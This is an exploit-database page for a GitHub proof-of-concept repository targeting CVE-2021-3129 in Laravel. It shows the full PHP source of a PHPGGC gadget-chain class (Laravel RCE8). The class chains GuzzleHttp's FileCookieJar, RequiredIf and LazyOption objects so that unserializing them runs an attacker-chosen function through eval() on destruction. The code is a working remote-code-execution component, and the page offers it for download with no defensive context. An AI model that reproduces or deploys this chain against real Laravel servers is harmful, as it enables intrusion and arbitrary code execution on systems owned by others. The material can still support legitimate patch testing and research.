Exploit database

GH-7c3f210736b96137d01066be808bddae

0x0d3ad/cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
0x0d3ad/cve-2021-3129Revision baf217c497da

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/Laravel/RCE/8/chain.php

PHP · 589 bytes
<?php

namespace GadgetChain\Laravel;

class RCE8 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '7.0.0 <= 8.6.9+';
    public static $vector = '__destruct';
    public static $author = 'abdilahrf & cr1f';
    public static $information = 'Executes through eval()';


    public function generate(array $parameters)
    {
        return new \GuzzleHttp\Cookie\FileCookieJar(
            new \Illuminate\Validation\Rules\RequiredIf(
                new \PhpOption\LazyOption($parameters['function'], [$parameters['parameter']])
            )
        );
    }
}